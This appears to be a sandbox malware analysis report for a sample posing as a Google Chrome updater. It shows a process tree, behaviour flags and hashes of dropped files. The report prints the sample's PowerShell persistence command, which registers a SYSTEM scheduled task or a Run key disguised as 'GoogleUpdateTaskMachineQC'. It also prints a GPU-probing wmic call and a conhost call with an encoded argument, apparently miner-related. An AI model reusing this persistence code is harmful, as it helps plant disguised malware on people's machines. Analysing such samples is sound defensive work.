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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2168
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:1648
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2304
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:704
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3080
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
PID:740
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.3MB
MD50de8dfa04381036483cad3df187d2348
SHA1009fe350165c89d3167f1d957436277d80ecd047
SHA256d4b96a6d34d021d24520e518d3c47aa2079f59b79cc51ed92240efd33efe2924
SHA512caaaba749ba7c428274dc60846f5991a0c40d3d880b7bdd1cc27b113ae31fc5f36295071608834c2153230ec15df44ac0a1940eff56cd932f46de30353b9e50d
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Filesize
234KB
MD51d7d78075e084a9487258dc4297d779a
SHA141e9ead3b886b5d4dafb790a6427053684a67875
SHA25619d322b67399a9aa867df034c646d38ff4a42cafada210a851c22cb03bed20ef
SHA51274209f16437a01cc85173845573d5b12b1041a4f6a97a0f3aa874f0e59cabb166e38140bf8f5014ae0ad2d1f673a31be58a3623bb06ad03fde5a6cae69e27d81
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
1KB
MD5d5cbd2fca9cb176ad25444fa061f848d
SHA1720cbda940ec7c13e9c0fb6f4725dd281507a94b
SHA2564e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
SHA512fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD53f0991b72c137cd90eebc105f742ed95
SHA19a4c15556bee8c95e8cf10beadbe4c07656647b0
SHA2568755057cd36c339bf12a5964d69a10bdb32173fd54756451a994a9fa9e66b939
SHA51202c3cd95303bfc6a5e6dfccc818a6aafd7c41086a33ebd3a8b16df683789598e2bbc34efa57330a29db26623a25d075fec4a6bda31d3eb94249c0602a5b1cd82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD57029edc8c55a45d62d9bc420a058bbfd
SHA16831dcbd2b21d8b56a3343e0f468f4e9eed4b573
SHA256588c836f5ace21acd18c76324b9a4f34ad7adda136213a70e38f9dd4f97cdad6
SHA51247a518cc7fd6ab02a88d28306ed205dee9397d6b5e94dd9b1f0c666d815e05b32cc23fc1ba13e7b8325343c4daf1305b9601c47534f7a3779369c66396c51c29